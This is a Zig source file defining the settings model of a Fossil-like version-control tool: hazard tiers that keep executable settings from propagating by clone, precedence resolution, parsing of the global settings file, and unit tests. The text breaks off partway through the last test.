Artifact 90ba35b46dce2a6447f9dcf6dce8f4edca5711a34260a779fd53cc58ef0bda71:
- File
src/settings.zig
— part of check-in
[9033c13f21]
at
2026-09-17 17:04:25
on branch trunk
— Remove issue-tracker numbers from source and documents
The tracker is disposable and does not live with the source, so a number is a dangling pointer. Every zit#NN and #NN reference in code comments, test names, help text, smoke labels, identifiers, release notes and errata is replaced by enough context to stand alone, or by a short plain statement of the problem. No behaviour changed. (user: dmestas, size: 49873) [annotate] [blame] [check-ins using]
//! The settings model: which settings exist, where a value may live, and which //! tier wins. //! //! ## The organising idea is HAZARD, not scope //! //! A setting's blast radius decides how far it is allowed to travel, and that //! one rule generates the whole table: //! //! * **Data** -- `ignore-glob`, `keep-glob`, `manifest`, `binary-glob`. The //! worst a wrong value does is list the wrong files. These may be VERSIONED: //! a tracked `.zit-settings/<name>` file clones with the repository, is //! reviewable in a diff, and travels to everyone working on the project. //! //! * **Executable** -- `pgp-command`. The value is a command line this machine //! RUNS, so a peer that could set it would have remote code execution. It //! never propagates by any mechanism, in any transport. Fossil classifies //! these `sensitive` for exactly this reason, and puts them in no config //! group. //! //! * **Executable, project-owned** -- `before-commit`. The project has a //! legitimate claim to declare its own checks, but cloning must never run //! them. The DECLARATION versions; the PERMISSION TO EXECUTE is local, //! explicit, and content-pinned (see `trust`). Git refuses the first half //! (hooks never clone, hence husky/lefthook); fossil's boundary is an //! accident of transport (a `before-commit` hook crosses a file clone and //! executes, but not an HTTP one). Splitting the two is what makes it safe. //! //! ## Precedence //! //! Highest to lowest, matching fossil's `db_get` (src/db.c) so an operator's //! intuition carries over: //! //! 1. environment -- only where a setting names one (`$ZIT_PGP_COMMAND`), so //! a single invocation can be redirected without editing //! anything durable //! 2. versioned -- `.zit-settings/<name>`, versionable settings only. It //! OVERRIDES both stored tiers: fossil applies //! `db_get_versioned` after reading config, and the project's //! committed answer is meant to win over a stale local one. //! 3. repository -- this repository's config frame //! 4. global -- this operator's settings file, shared by every repository //! 5. default -- the built-in //! //! The rule worth remembering: a value that is SHADOWED must say so. An operator //! editing the tier that is not in effect, twice, is the failure this module //! exists to prevent -- which is why `resolve` returns a `Source` and never a //! bare value. const std = @import("std"); /// Where a resolved value came from. Ordered highest-precedence first, so a /// comparison on the enum is a comparison on precedence. pub const Source = enum { environment, versioned, repository, global, default, /// One word for a listing. Deliberately terse: it sits in a column beside /// the value, and the value is what the operator came to read. pub fn label(self: Source) []const u8 { return switch (self) { .environment => "environment", .versioned => "versioned", .repository => "repository", .global => "global", .default => "default", }; } }; /// What a setting's value IS, which decides how it is parsed and how a bad /// value is reported. pub const Kind = enum { boolean, string }; /// How far a setting is allowed to travel -- the hazard classification above. pub const Tier = enum { /// Data. May be versioned into `.zit-settings/<name>` and thus clone. data, /// Local posture: never versioned, because the value describes this /// MACHINE's relationship to the network rather than anything about the /// project. `autosync` is the whole tier -- a repository that shipped /// "always talk to the origin" to every clone would be deciding, for /// someone else's laptop, when it goes on the wire. local, /// Executable. Local or global only; never versioned, never on the wire. executable, /// Executable but project-owned: the declaration versions, execution needs /// local consent recorded against the declaration's content hash. consented, }; pub const Setting = enum { autosync, ignore_glob, keep_glob, manifest, clearsign, pgp_command, before_commit, binary_glob, crlf_glob, /// Fossil's older spelling of `crlf-glob`. Consulted only when no /// tier supplies `crlf-glob` at all: fossil reads /// `db_get("crlf-glob", db_get("crnl-glob",""))` (checkin.c), so a stored /// empty `crlf-glob` is a value and wins. crnl_glob, /// Fossil's `encoding-glob`: the files whose encoding this project /// expects (UTF-16, or bytes that are not valid UTF-8) without the commit /// complaining. encoding_glob, /// Fossil's `clean-glob`: untracked files `clean` removes without /// asking. clean_glob, /// Fossil's `empty-dirs`: directory names `open` and `update` /// create even though the check-in holds no file inside them. empty_dirs, /// Fossil's `dotfiles`: whether a tree scan lists names beginning /// with `.`. A boolean VALUE carried as a `.string`; `kind()` says why. dotfiles, /// Fossil's `mimetypes`: the extension-to-MIME rows a web UI /// serves files with. Accepted as a known versionable name so a repository /// mirrored from a Fossil server is not an error; nothing in zit reads it /// until zit serves a UI. mimetypes, /// Fossil's `attachment-size-limit`: the largest attachment /// `attach add` stores, in bytes, checked before the blob is written; `0` /// means unlimited. Fossil defaults to unlimited; zit defaults to /// `attachment_size_limit_default` when the setting is unset, because a /// blob in the DAG travels to every clone for ever. Carried as a /// `.string` and parsed at use (`parseByteLimit`). attachment_size_limit, /// The wire/CLI spelling. Kept separate from the Zig identifier so the /// hyphenated names fossil uses are exact. /// The commit editor, consulted after --editor and before $VISUAL. editor, pub fn name(self: Setting) []const u8 { return switch (self) { .autosync => "autosync", .ignore_glob => "ignore-glob", .keep_glob => "keep-glob", .manifest => "manifest", .clearsign => "clearsign", .pgp_command => "pgp-command", .before_commit => "before-commit", .binary_glob => "binary-glob", .crlf_glob => "crlf-glob", .crnl_glob => "crnl-glob", .encoding_glob => "encoding-glob", .clean_glob => "clean-glob", .empty_dirs => "empty-dirs", .dotfiles => "dotfiles", .mimetypes => "mimetypes", .attachment_size_limit => "attachment-size-limit", .editor => "editor", }; } /// `dotfiles` is a boolean-VALUED setting carried as a `.string`, and /// deliberately: `.boolean` routes a write through `parseBool`, which /// accepts only `on`/`off`, while the value is READ by `isTruth` (fossil's /// rule: `on`/`yes`/`true`/a non-zero leading integer). A `.boolean` /// `dotfiles` would make `zit settings dotfiles yes` a usage error while a /// versioned file spelling `yes` was honoured -- one setting with two /// answers. As a `.string` every tier stores the operator's text verbatim /// and the one reader is `isTruth`. pub fn kind(self: Setting) Kind { return switch (self) { .autosync, .clearsign => .boolean, .ignore_glob, .keep_glob, .manifest, .pgp_command, .before_commit, .binary_glob, .crlf_glob, .crnl_glob, .encoding_glob, .clean_glob, .empty_dirs, .dotfiles, .mimetypes, .attachment_size_limit, .editor, => .string, }; } pub fn tier(self: Setting) Tier { return switch (self) { .ignore_glob, .keep_glob, .manifest, .binary_glob, .crlf_glob, .crnl_glob, .encoding_glob, .clean_glob, .empty_dirs, .dotfiles, .mimetypes, .attachment_size_limit, => .data, // Fossil documents `autosync` as a plain setting, not a // versionable one -- a `.fossil-settings/autosync` file is ignored // there, and here. .autosync => .local, .clearsign, .pgp_command, .editor => .executable, .before_commit => .consented, }; } /// Whether a tracked `.zit-settings/<name>` file may supply this value. /// True for data settings, and for `before-commit` -- whose declaration is /// exactly the thing that SHOULD version, since its whole purpose is to /// ship the project's checks with the project. Never for `executable`. pub fn versionable(self: Setting) bool { return switch (self.tier()) { .data, .consented => true, .local, .executable => false, }; } /// The environment variable that overrides this setting, if any. pub fn envVar(self: Setting) ?[]const u8 { return switch (self) { .pgp_command => "ZIT_PGP_COMMAND", else => null, }; } /// The built-in value when no tier supplies one. pub fn default(self: Setting) []const u8 { return switch (self) { // Stored as the deviation (`autosync_off`), so the default reads on. .autosync => "on", .clearsign => "off", // fossil's own default, trailing space included: the `-o ` binds // OUTFILE and the manifest arrives as the positional INFILE. .pgp_command => "gpg --clearsign -o ", .ignore_glob, .keep_glob, .manifest, .before_commit, .binary_glob, .crlf_glob, .crnl_glob, .encoding_glob, .clean_glob, .empty_dirs, .dotfiles, .mimetypes, .attachment_size_limit, .editor, => "", }; } /// The tracked file a versionable setting reads from. /// Caller owns the returned buffer slice. pub fn versionedPath(self: Setting, buf: []u8) ?[]const u8 { if (!self.versionable()) return null; return std.fmt.bufPrint(buf, "{s}/{s}", .{ versioned_dir, self.name() }) catch null; } /// The fossil-spelled versioned file, consulted BEFORE /// `versionedPath`'s: same versionable gate, so an executable setting can /// no more arrive through fossil's directory than through zit's. pub fn fossilVersionedPath(self: Setting, buf: []u8) ?[]const u8 { if (!self.versionable()) return null; return std.fmt.bufPrint(buf, "{s}/{s}", .{ fossil_versioned_dir, self.name() }) catch null; } pub fn byName(text: []const u8) ?Setting { inline for (comptime std.enums.values(Setting)) |s| { if (std.mem.eql(u8, text, s.name())) return s; } return null; } }; /// The directory holding versionable settings, matching the existing choice /// (`ignore.versioned_dir`); restated here so this module states the whole /// model without depending on the ignore matcher. pub const versioned_dir: []const u8 = ".zit-settings"; /// Fossil's spelling of the same directory. A repository cloned from a /// Fossil server carries its versioned settings here, and zit honours them: /// when both directories hold a file for one setting, `.fossil-settings/` /// wins -- the repository's fossil-native policy is the older, wider fact, /// and the `settings` verb's shadow note names whichever file is live so the /// precedence is visible rather than silent. pub const fossil_versioned_dir: []const u8 = ".fossil-settings"; /// Longest a versioned settings file may be. A settings value that needs more /// than this is not a setting. pub const max_versioned_bytes: usize = 64 * 1024; /// Which of the two settings directories a versioned value came from. An /// enum, not a path: the paths are built into caller-owned buffers by /// `versionedPath`/`fossilVersionedPath`, so a `Resolved` never carries a /// slice that outlives the frame that made it. pub const VersionedDir = enum { fossil, zit, /// The directory name, so a note can say which file is live. pub fn dirName(self: VersionedDir) []const u8 { return switch (self) { .fossil => fossil_versioned_dir, .zit => versioned_dir, }; } }; /// A resolved setting: the value in effect, which tier supplied it, and -- /// for a versioned winner only -- which file won and which stored tier it is /// shadowing. The last two are the whole input to the shadow note, computed /// once here so no caller has to re-open a store to find out. pub const Resolved = struct { value: []const u8, source: Source, /// The directory holding the winning file. Null unless `source` is /// `.versioned`. versioned_dir: ?VersionedDir = null, /// The highest stored tier that holds a NON-EMPTY value the versioned /// file is overriding, or null when there is nothing to warn about. /// fossil warns only when both a versioned and a non-empty non-versioned /// value exist (db.c `db_get_versioned`), and so does zit. shadowed: ?Source = null, }; /// What each tier had to say, gathered by the caller. Null means "this tier has /// no opinion", which is NOT the same as the empty string -- an empty /// `ignore-glob` set locally is a real value that must shadow a global one. /// /// Deliberately a plain struct of optionals rather than a reader interface: /// this module stays sans-IO so precedence is a pure function with a test, and /// the file/frame/environment reads stay with the code that owns those handles. pub const Candidates = struct { environment: ?[]const u8 = null, versioned: ?[]const u8 = null, /// Which directory `versioned` was read from, so `resolve` can put it on /// the `Resolved` without the reader having to keep a path alive. versioned_dir: ?VersionedDir = null, repository: ?[]const u8 = null, global: ?[]const u8 = null, }; /// THE precedence rule, in one place. Every surface that answers "what is this /// setting" must come through here, so a listing, a commit, and a clean can /// never disagree about which tier won. pub fn resolve(setting: Setting, c: Candidates) Resolved { // An environment override is only consulted where the setting names one, so // a stray variable cannot start driving a setting that never had one. if (setting.envVar() != null) { if (c.environment) |v| return .{ .value = v, .source = .environment }; } // A versioned file cannot supply an executable setting even if one is // somehow present on disk: that is the whole security boundary, so it is // enforced HERE, at the resolver, rather than trusted to every caller // remembering not to read the file. if (setting.versionable()) { if (c.versioned) |v| return .{ .value = v, .source = .versioned, .versioned_dir = c.versioned_dir, .shadowed = shadowedTier(c), }; } if (c.repository) |v| return .{ .value = v, .source = .repository }; if (c.global) |v| return .{ .value = v, .source = .global }; return .{ .value = setting.default(), .source = .default }; } /// The stored tier a versioned file is overriding, or null when nothing is /// being shadowed. Repository before global, and an EMPTY stored value counts /// as nothing: fossil's warning tests the non-versioned value for a non-NUL /// first byte, so clearing a setting is how an operator silences the note /// without a `.no-warn` file. fn shadowedTier(c: Candidates) ?Source { if (c.repository) |v| { if (v.len != 0) return .repository; } if (c.global) |v| { if (v.len != 0) return .global; } return null; } /// Fossil's `db_get_versioned` pre-processing for a versioned settings file: /// `blob_strip_comment_lines` then `blob_trim`. A line is a comment ONLY when /// its first byte is `#` -- an indented `#` is not one (it survives, and the /// glob tokenizer then reads it as a pattern), and a `#` mid-line is an /// ordinary byte. /// /// Compacts IN PLACE and returns the trimmed slice, so the caller's arena /// text is the only storage; no line dropped means no bytes moved. Bounded by /// `text.len`. /// The byte cap `attach add` applies when `attachment-size-limit` /// is unset: 1 MiB. pub const attachment_size_limit_default: u64 = 1 << 20; /// Parse an `attachment-size-limit` value the way fossil's /// `db_get_int` reads it: a decimal byte count, `0` meaning unlimited. An /// empty value is "unset" (the zit default applies); anything unparsable is /// null, so a typo never silently means unlimited. pub fn parseByteLimit(text: []const u8) ?u64 { const t = std.mem.trim(u8, text, " \t\r\n"); if (t.len == 0) return attachment_size_limit_default; return std.fmt.parseInt(u64, t, 10) catch null; } pub fn stripCommentLines(text: []u8) []const u8 { var w: usize = 0; var i: usize = 0; var dropped = false; while (i < text.len) { const end = if (std.mem.indexOfScalarPos(u8, text, i, '\n')) |n| n + 1 else text.len; std.debug.assert(end > i); // every step consumes at least one byte const line = text[i..end]; if (line[0] == '#') { dropped = true; } else { if (dropped) std.mem.copyForwards(u8, text[w..][0..line.len], line); w += line.len; } i = end; } std.debug.assert(w <= text.len); return std.mem.trim(u8, text[0..w], " \t\r\n"); } /// Names for the human-readable listing of every setting name, used by the /// unknown-name diagnostic so it never drifts from the enum. pub fn knownNames(buf: []u8) []const u8 { var w: usize = 0; inline for (comptime std.enums.values(Setting), 0..) |s, i| { if (i > 0) { if (w + 2 > buf.len) return buf[0..w]; @memcpy(buf[w..][0..2], ", "); w += 2; } const n = s.name(); if (w + n.len > buf.len) return buf[0..w]; @memcpy(buf[w..][0..n.len], n); w += n.len; } return buf[0..w]; } /// Parse a boolean setting's spelling. fossil accepts `on`/`off` for these and /// so does zit; anything else is refused rather than guessed, because guessing /// "off" for a typo silently disables a check the operator asked for. pub fn parseBool(text: []const u8) ?bool { if (std.mem.eql(u8, text, "on")) return true; if (std.mem.eql(u8, text, "off")) return false; return null; } /// Fossil's `is_truth` (db.c): `on`, `yes` or `true` case-insensitively, or a /// leading integer that is not zero -- fossil falls back to `atoi`, so `2` is /// true and `banana` is not. THE truth rule for every setting whose value is a /// boolean but whose storage is text (`dotfiles`, `manifest`), so those two /// can never disagree about what `2` means. pub fn isTruth(value: []const u8) bool { inline for (.{ "on", "yes", "true" }) |word| { if (std.ascii.eqlIgnoreCase(value, word)) return true; } return leadingIntIsNonZero(value); } /// Fossil's `is_false` (db.c): `off`, `no`, `false` or `0`, case-insensitively. /// Checked BEFORE `isTruth` wherever both apply, as fossil does. pub fn isFalse(value: []const u8) bool { inline for (.{ "off", "no", "false", "0" }) |word| { if (std.ascii.eqlIgnoreCase(value, word)) return true; } return false; } /// Whether C's `atoi` would read a non-zero value from the head of `text`: /// leading whitespace, an optional sign, then decimal digits, stopping at the /// first byte that is neither. Only the zero/non-zero answer is needed, so /// nothing here can overflow. Bounded by `text.len`. fn leadingIntIsNonZero(text: []const u8) bool { var i: usize = 0; while (i < text.len and (text[i] == ' ' or (text[i] >= '\t' and text[i] <= '\r'))) i += 1; if (i < text.len and (text[i] == '+' or text[i] == '-')) i += 1; var digits = false; var non_zero = false; while (i < text.len and text[i] >= '0' and text[i] <= '9') : (i += 1) { digits = true; if (text[i] != '0') non_zero = true; } return digits and non_zero; } /// Fossil's `db_get_manifest_setting` (db.c) reduced to its pure half: the /// `manifest` setting's TEXT becomes the selector letters a materialization /// writes build stamps from. /// /// * a false-ish value (`off`, `no`, `false`, `0`) selects nothing; /// * a true-ish one (`on`, `yes`, `true`, a non-zero leading integer) /// selects `r` and `u` -- the raw manifest and its uuid; /// * anything else is read letter by letter: `r`, `u` and `t` count and /// every other byte is ignored, so `r,u` and `ru` are the same request. /// /// The result is a slice of a static table, so it outlives every caller, and /// text that means nothing resolves to "" rather than to an error no operator /// could act on. pub fn manifestFlags(value: []const u8) []const u8 { if (value.len == 0 or isFalse(value)) return ""; if (isTruth(value)) return "ru"; var want_r = false; var want_u = false; var want_t = false; for (value) |c| switch (c) { 'r' => want_r = true, 'u' => want_u = true, 't' => want_t = true, else => {}, }; const table = [8][]const u8{ "", "r", "u", "ru", "t", "rt", "ut", "rut" }; const index: usize = @as(usize, @intFromBool(want_r)) | (@as(usize, @intFromBool(want_u)) << 1) | (@as(usize, @intFromBool(want_t)) << 2); return table[index]; } // --------------------------------------------------------------------------- // The global tier // --------------------------------------------------------------------------- /// The operator-scope settings file: `name value` lines, one per line, `#` /// comments, blank lines ignored. A TEXT file on purpose -- the repository's own /// config is a binary frame because it shares a log with artifacts, but this one /// is read and edited by a person, and a format they can fix with an editor when /// something goes wrong is worth more than a compact one. /// /// Location, first that answers: /// * `$ZIT_CONFIG` -- the file itself, for tests and for an operator who /// wants it somewhere specific /// * `$XDG_CONFIG_HOME/zit/settings` /// * `$HOME/.config/zit/settings` /// /// Absent is not an error anywhere: no file means no global values, which is /// the state of every installation that never set one. pub const global_basename: []const u8 = "settings"; pub const global_subdir: []const u8 = "zit"; pub const GlobalPath = struct { /// The full path, borrowed from the caller's buffer. path: []const u8, /// The directory that must exist before a write. Empty when `$ZIT_CONFIG` /// named a bare filename with no directory part. dir: []const u8, }; /// Resolve where the global settings file lives. Null when no home can be /// determined at all (no `$ZIT_CONFIG`, no `$XDG_CONFIG_HOME`, no `$HOME`) -- /// a legitimate state for a daemon, and one that must degrade to "no global /// tier" rather than failing every settings read. pub fn globalPath(environ: anytype, buf: []u8) ?GlobalPath { if (environ.getPosix("ZIT_CONFIG")) |explicit| { if (explicit.len == 0 or explicit.len > buf.len) return null; @memcpy(buf[0..explicit.len], explicit); const path = buf[0..explicit.len]; const slash = std.mem.lastIndexOfScalar(u8, path, '/'); return .{ .path = path, .dir = if (slash) |i| path[0..i] else "" }; } if (environ.getPosix("XDG_CONFIG_HOME")) |xdg| { if (xdg.len == 0) return null; const dir = std.fmt.bufPrint(buf, "{s}/{s}", .{ xdg, global_subdir }) catch return null; const path = std.fmt.bufPrint(buf[dir.len..], "/{s}", .{global_basename}) catch return null; // The two prints are adjacent in `buf`, so the full path is their span. return .{ .path = buf[0 .. dir.len + path.len], .dir = dir }; } if (environ.getPosix("HOME")) |home| { if (home.len == 0) return null; const dir = std.fmt.bufPrint(buf, "{s}/.config/{s}", .{ home, global_subdir }) catch return null; const path = std.fmt.bufPrint(buf[dir.len..], "/{s}", .{global_basename}) catch return null; return .{ .path = buf[0 .. dir.len + path.len], .dir = dir }; } return null; } /// One `name value` line's parts, or null for a line that carries no setting /// (blank, or a `#` comment). A malformed line is SKIPPED rather than fatal: /// this file is hand-edited, and refusing to read any setting because line 7 /// has a stray character would take the operator's signing command down with /// their typo. pub fn parseGlobalLine(line: []const u8) ?struct { name: []const u8, value: []const u8 } { const trimmed = std.mem.trim(u8, line, " \t\r"); if (trimmed.len == 0 or trimmed[0] == '#') return null; const sp = std.mem.indexOfAny(u8, trimmed, " \t") orelse // A bare name with no value is a legitimate way to spell the empty // string, which is how a glob list is cleared. return .{ .name = trimmed, .value = "" }; const name = trimmed[0..sp]; if (name.len == 0) return null; const value = std.mem.trim(u8, trimmed[sp + 1 ..], " \t"); return .{ .name = name, .value = value }; } /// Look one setting up in already-read global file text. Last occurrence wins, /// matching how every line-oriented config file an operator has met behaves. pub fn globalLookup(text: []const u8, setting: Setting) ?[]const u8 { var found: ?[]const u8 = null; var it = std.mem.splitScalar(u8, text, '\n'); while (it.next()) |line| { const parsed = parseGlobalLine(line) orelse continue; if (std.mem.eql(u8, parsed.name, setting.name())) found = parsed.value; } return found; } /// Rewrite `text` so `setting` reads `value`, returning the new file contents. /// An existing line for the setting is REPLACED IN PLACE so hand-written /// comments and ordering survive an edit; a setting not present is appended. /// Caller owns the result. pub fn globalSet( gpa: std.mem.Allocator, text: []const u8, setting: Setting, value: []const u8, ) error{OutOfMemory}![]u8 { var out: std.ArrayList(u8) = .empty; errdefer out.deinit(gpa); var replaced = false; var it = std.mem.splitScalar(u8, text, '\n'); var first = true; while (it.next()) |line| { // `splitScalar` yields a trailing empty piece for text ending in \n; // dropping it here keeps the file from growing a blank line per edit. if (it.peek() == null and line.len == 0) break; if (!first) try out.append(gpa, '\n'); first = false; const parsed = parseGlobalLine(line); if (parsed != null and std.mem.eql(u8, parsed.?.name, setting.name())) { if (replaced) { // A duplicate earlier line is now dead; drop it rather than // leave a value that no longer takes effect sitting in the file. out.items.len -= @intFromBool(out.items.len > 0); first = out.items.len == 0; continue; } try out.print(gpa, "{s} {s}", .{ setting.name(), value }); replaced = true; continue; } try out.appendSlice(gpa, line); } if (!replaced) { if (!first) try out.append(gpa, '\n'); try out.print(gpa, "{s} {s}", .{ setting.name(), value }); } try out.append(gpa, '\n'); return out.toOwnedSlice(gpa); } // --------------------------------------------------------------------------- const testing = std.testing; /// A stand-in for the process environment, so precedence is testable without /// one. Mirrors the one method `globalPath` needs. const FakeEnv = struct { pairs: []const [2][]const u8, fn getPosix(self: FakeEnv, key: []const u8) ?[]const u8 { for (self.pairs) |p| if (std.mem.eql(u8, p[0], key)) return p[1]; return null; } }; test "a versioned settings file drops `#` lines and trims, as fossil's db_get_versioned does" { // fossil `db.c db_get_versioned` runs `blob_strip_comment_lines` then // `blob_trim`. A line is a comment only when its FIRST byte is `#`. const cases = [_]struct { in: []const u8, want: []const u8 }{ .{ .in = "# note\n*.o\n", .want = "*.o" }, .{ .in = "*.o\n# note\n*.a\n", .want = "*.o\n*.a" }, .{ .in = "#only\n", .want = "" }, // An INDENTED `#` is not a comment: fossil keeps the line, and the // glob tokenizer then reads `#` and `indented` as two patterns. .{ .in = " # indented\n*.o", .want = "# indented\n*.o" }, // A `#` mid-line is an ordinary byte. .{ .in = "foo#bar\n", .want = "foo#bar" }, .{ .in = " *.o \n\n\n", .want = "*.o" }, .{ .in = "*.o\r\n#x\r\n", .want = "*.o" }, .{ .in = "", .want = "" }, .{ .in = "\n\n", .want = "" }, }; var buf: [64]u8 = undefined; for (cases) |c| { @memcpy(buf[0..c.in.len], c.in); try testing.expectEqualStrings(c.want, stripCommentLines(buf[0..c.in.len])); } } test "a versioned winner records its directory and what it shadows" { // The shadow note fires only when a versioned file AND a non-empty // non-versioned value both exist (fossil db.c: the warning tests // `zNonVersionedSetting[0]!='\0'`). const versioned_repo = resolve(.ignore_glob, .{ .versioned = "*.tmp", .versioned_dir = .fossil, .repository = "*.o", }); try testing.expectEqual(Source.versioned, versioned_repo.source); try testing.expectEqual(VersionedDir.fossil, versioned_repo.versioned_dir.?); try testing.expectEqual(Source.repository, versioned_repo.shadowed.?); // An EMPTY repository value is not something to warn about. const versioned_empty_repo = resolve(.ignore_glob, .{ .versioned = "*.tmp", .versioned_dir = .zit, .repository = "", }); try testing.expectEqual(VersionedDir.zit, versioned_empty_repo.versioned_dir.?); try testing.expect(versioned_empty_repo.shadowed == null); // Global is the shadowed tier when the repository has no opinion. const versioned_global = resolve(.ignore_glob, .{ .versioned = "*.tmp", .versioned_dir = .zit, .global = "*.a", }); try testing.expectEqual(Source.global, versioned_global.shadowed.?); // Repository outranks global as the tier NAMED by the note. const both = resolve(.ignore_glob, .{ .versioned = "*.tmp", .versioned_dir = .zit, .repository = "*.o", .global = "*.a", }); try testing.expectEqual(Source.repository, both.shadowed.?); // A non-versioned winner carries neither fact. const repo_winner = resolve(.ignore_glob, .{ .repository = "*.o", .global = "*.a" }); try testing.expectEqual(Source.repository, repo_winner.source); try testing.expect(repo_winner.versioned_dir == null); try testing.expect(repo_winner.shadowed == null); } test "manifest accepts fossil's boolean spellings alongside the letters" { // Expectations from fossil `db.c db_get_manifest_setting`: is_false first, // then is_truth (which falls back to atoi), then per-letter r/u/t. const cases = [_]struct { in: []const u8, want: []const u8 }{ .{ .in = "on", .want = "ru" }, .{ .in = "ON", .want = "ru" }, .{ .in = "yes", .want = "ru" }, .{ .in = "true", .want = "ru" }, .{ .in = "1", .want = "ru" }, .{ .in = "2", .want = "ru" }, .{ .in = "off", .want = "" }, .{ .in = "no", .want = "" }, .{ .in = "false", .want = "" }, .{ .in = "0", .want = "" }, .{ .in = "", .want = "" }, .{ .in = "r", .want = "r" }, .{ .in = "ru", .want = "ru" }, .{ .in = "rut", .want = "rut" }, .{ .in = "t", .want = "t" }, // Separators are ignored bytes, so `r,u` is `ru`. .{ .in = "r,u", .want = "ru" }, .{ .in = "u t", .want = "ut" }, // Junk selects nothing rather than failing: a build stamp is a // convenience, and no operator could act on an error here. .{ .in = "banana", .want = "" }, }; for (cases) |c| try testing.expectEqualStrings(c.want, manifestFlags(c.in)); // Normalizing twice is normalizing once: the stored letters go back // through this helper on every inherit. for (cases) |c| try testing.expectEqualStrings(c.want, manifestFlags(manifestFlags(c.in))); } test "one truth rule, so every tier reads a boolean-valued setting the same way" { try testing.expect(isTruth("on")); try testing.expect(isTruth("YES")); try testing.expect(isTruth("True")); try testing.expect(isTruth("1")); try testing.expect(isTruth("2")); try testing.expect(isTruth("-3")); try testing.expect(!isTruth("0")); try testing.expect(!isTruth("off")); try testing.expect(!isTruth("")); try testing.expect(!isTruth("banana")); try testing.expect(isFalse("off")); try testing.expect(isFalse("NO")); try testing.expect(isFalse("false")); try testing.expect(isFalse("0")); try testing.expect(!isFalse("on")); try testing.expect(!isFalse("")); } test "the new names exist at every tier, and autosync leaves the versionable one" { // Every name in `added` is a full setting: it has a spelling, it is a // data-tier string, and a versioned file may supply it. const added = [_]Setting{ .crnl_glob, .encoding_glob, .clean_glob, .empty_dirs, .dotfiles, .mimetypes }; var buf: [128]u8 = undefined; for (added) |s| { try testing.expectEqual(Kind.string, s.kind()); try testing.expectEqual(Tier.data, s.tier()); try testing.expect(s.versionable()); try testing.expectEqual(s, Setting.byName(s.name()).?); try testing.expect(s.versionedPath(&buf) != null); try testing.expect(s.fossilVersionedPath(&buf) != null); try testing.expectEqualStrings("", s.default()); } try testing.expectEqualStrings("crnl-glob", Setting.crnl_glob.name()); try testing.expectEqualStrings("empty-dirs", Setting.empty_dirs.name()); try testing.expectEqualStrings("mimetypes", Setting.mimetypes.name()); // item 10: autosync is network posture, not project data, so no tracked // file may supply it. try testing.expectEqual(Tier.local, Setting.autosync.tier()); try testing.expect(!Setting.autosync.versionable()); try testing.expect(Setting.autosync.versionedPath(&buf) == null); try testing.expect(Setting.autosync.fossilVersionedPath(&buf) == null); // ... and a versioned candidate is refused at the resolver, not merely // left unread, so its default still answers. const r = resolve(.autosync, .{ .versioned = "off" }); try testing.expectEqual(Source.default, r.source); try testing.expectEqualStrings("on", r.value); } test "settings: hazard decides propagation — executable settings are never versionable" { // The model's load-bearing claim, asserted over the WHOLE enum rather than // a sample: if a future setting is added to the executable tier and someone // marks it versionable, that is remote code execution arriving by clone, // and it must fail here rather than in the field. inline for (comptime std.enums.values(Setting)) |s| { switch (s.tier()) { .local, .executable => try testing.expect(!s.versionable()), .data, .consented => try testing.expect(s.versionable()), } } // The two settings whose classification the issue argued explicitly. try testing.expectEqual(Tier.executable, Setting.pgp_command.tier()); try testing.expectEqual(Tier.consented, Setting.before_commit.tier()); try testing.expect(!Setting.pgp_command.versionable()); try testing.expect(Setting.before_commit.versionable()); } test "settings: names round-trip and the known-name list is generated, not hand-copied" { inline for (comptime std.enums.values(Setting)) |s| { try testing.expectEqual(s, Setting.byName(s.name()).?); } try testing.expect(Setting.byName("no-such-setting") == null); var buf: [256]u8 = undefined; const known = knownNames(&buf); // Every name appears, so a new setting cannot be added without the // diagnostic listing it. inline for (comptime std.enums.values(Setting)) |s| { try testing.expect(std.mem.indexOf(u8, known, s.name()) != null); } } test "settings: Source order IS precedence order" { // `resolve` picks the first tier that answers, so the enum's declaration // order is the policy. Stated as a test because a reorder would silently // change which tier wins. try testing.expect(@intFromEnum(Source.environment) < @intFromEnum(Source.versioned)); try testing.expect(@intFromEnum(Source.versioned) < @intFromEnum(Source.repository)); try testing.expect(@intFromEnum(Source.repository) < @intFromEnum(Source.global)); try testing.expect(@intFromEnum(Source.global) < @intFromEnum(Source.default)); } test "settings: global path resolution prefers ZIT_CONFIG, then XDG, then HOME" { var buf: [512]u8 = undefined; { const env = FakeEnv{ .pairs = &.{.{ "ZIT_CONFIG", "/tmp/x/zitrc" }} }; const g = globalPath(env, &buf).?; try testing.expectEqualStrings("/tmp/x/zitrc", g.path); try testing.expectEqualStrings("/tmp/x", g.dir); } { const env = FakeEnv{ .pairs = &.{ .{ "XDG_CONFIG_HOME", "/xdg" }, .{ "HOME", "/home/u" } } }; const g = globalPath(env, &buf).?; try testing.expectEqualStrings("/xdg/zit/settings", g.path); try testing.expectEqualStrings("/xdg/zit", g.dir); } { const env = FakeEnv{ .pairs = &.{.{ "HOME", "/home/u" }} }; const g = globalPath(env, &buf).?; try testing.expectEqualStrings("/home/u/.config/zit/settings", g.path); } { // No home at all is a legitimate state (a daemon), and must degrade to // "no global tier" rather than failing every settings read. const env = FakeEnv{ .pairs = &.{} }; try testing.expect(globalPath(env, &buf) == null); } } test "settings: global file parsing — comments, blanks, bare names, last wins" { const text = \\# an operator's notes survive \\clearsign on \\ \\ pgp-command gpg --clearsign -o \\ignore-glob \\clearsign off \\garbage-with-no-such-setting whatever ; // Last occurrence wins, as in every line-oriented config an operator has met. try testing.expectEqualStrings("off", globalLookup(text, .clearsign).?); // Interior spacing is preserved after the first separator, so a command // line with arguments survives verbatim. try testing.expectEqualStrings("gpg --clearsign -o", globalLookup(text, .pgp_command).?); // A bare name is how the empty string is spelled (clearing a glob list). try testing.expectEqualStrings("", globalLookup(text, .ignore_glob).?); // A setting the file never mentions is absent, not empty. try testing.expect(globalLookup(text, .autosync) == null); } test "settings: globalSet replaces in place, keeps comments, and appends when absent" { const gpa = testing.allocator; { const before = "# keep me\nclearsign on\nautosync off\n"; const after = try globalSet(gpa, before, .clearsign, "off"); defer gpa.free(after); // The comment and the unrelated setting survive an edit -- the reason // this is a text file rather than a rewritten blob. try testing.expect(std.mem.indexOf(u8, after, "# keep me") != null); try testing.expect(std.mem.indexOf(u8, after, "autosync off") != null); try testing.expectEqualStrings("off", globalLookup(after, .clearsign).?); try testing.expectEqual(@as(usize, 1), std.mem.count(u8, after, "clearsign ")); } { // Absent -> appended, and the file still ends in exactly one newline. const after = try globalSet(gpa, "autosync off\n", .pgp_command, "/usr/bin/signer"); defer gpa.free(after); try testing.expectEqualStrings("/usr/bin/signer", globalLookup(after, .pgp_command).?); try testing.expect(std.mem.endsWith(u8, after, 